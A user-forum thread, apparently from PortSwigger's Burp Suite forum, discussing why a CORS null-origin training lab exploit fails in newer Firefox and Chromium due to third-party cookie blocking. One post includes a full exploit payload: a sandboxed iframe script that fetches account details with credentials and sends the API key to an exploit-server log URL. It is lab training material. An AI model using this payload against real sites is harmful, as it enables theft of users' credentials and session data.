Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

CORS Origin null Lab not working in Firefox and Chromium anymore

Manuel | Last updated: Jun 04, 2024 10:06AM UTC

Hi there, Context: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack Issue: Exploit does not trigger, when viewing the exploit on Firefox or Chromium. Still works on Google Chrome (unless you are already within the 1% of the phaseout) and Microsoft Edge, but both issue a warning that the behavior will change soon. --- Firefox and (Burp's) Chromium no longer fall victim to the CORS vulnerability, when viewing the exploit on the exploit server. It is still exploitable in the context of the lab, due to the setup on your backend, which still triggers the admin requesting the payload. Still, this is information that should be brought to the attention of the student, that the exploit we learn won't work in the future anymore. As far as I understood, the failure to execute the exploit resides in Firefox' Total Cookie Protection (https://support.mozilla.org/en-US/kb/total-cookie-protection-and-website-breakage-faq) and on Chromium due to the rollout of blocking third party cookies in Chrome (https://developers.google.com/privacy-sandbox/3pcd/prepare/prepare-for-phaseout). I would love to see you update the labs and articles on CORS with that information, which is essential, when you not only perform a pentest but also consult with the customer on implementations.

Manuel | Last updated: Jun 04, 2024 10:15AM UTC

For everyone interested on the topic, refer to: - https://samesite-sandbox.glitch.me/ - https://developers.google.com/privacy-sandbox/3pcd - https://developers.google.com/privacy-sandbox/blog/cookie-countdown-2024jan

Andres | Last updated: Jun 04, 2024 11:17PM UTC

+1! I spent about 2 hours trying to figure out why the exploit only worked for the victim but not when I clicked "View Exploit." Then I realized that the exploit only worked in standard Chrome and not in the pre-installed Chromium. I suggest adding a warning for students that this attack is currently intermittent and might not work at all in the near future.

Ben, PortSwigger Agent | Last updated: Jun 05, 2024 06:30AM UTC

Hi both, This is an issue we are aware of for these and a few other labs and how we deal with this in the future is something that we are currently considering.

Manuel | Last updated: Jun 21, 2024 02:59PM UTC

Hi Ben, thanks for your reply. Have you evaluated in the meantime what you will do about it? A warning, as Andres said, would be a good start.

Ben, PortSwigger Agent | Last updated: Jun 24, 2024 10:10AM UTC

Hi Manuel, No decision has been made as of yet I am afraid.

Barry | Last updated: Aug 21, 2024 08:47PM UTC

Hi all, Just thought I'd bring this to your attention in case it's a me problem. But I'm having a bit of an opposite issue to that described above. When I view exploit with the burp packaged Chromium, I see that the Wiener user's API key shows in the logs. However, when I deliver exploit to victim I get nothing, so I cannot solve this lab :( Like I say, could be a me problem, but it doesn't make sense why my user's key is being sent, but the target victim's isn't. Exploit body being used for reference: <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a7700f90451ba6e88ae33b9002500f0.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://exploit-0a5000a50427baf088a932f2011600bf.exploit-server.net/log?key='+this.responseText; }; </script>"></iframe>

Barry | Last updated: Aug 21, 2024 08:50PM UTC

Actually disregard, for some reason there was some lag between delivery and click behaviour. I solved it.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.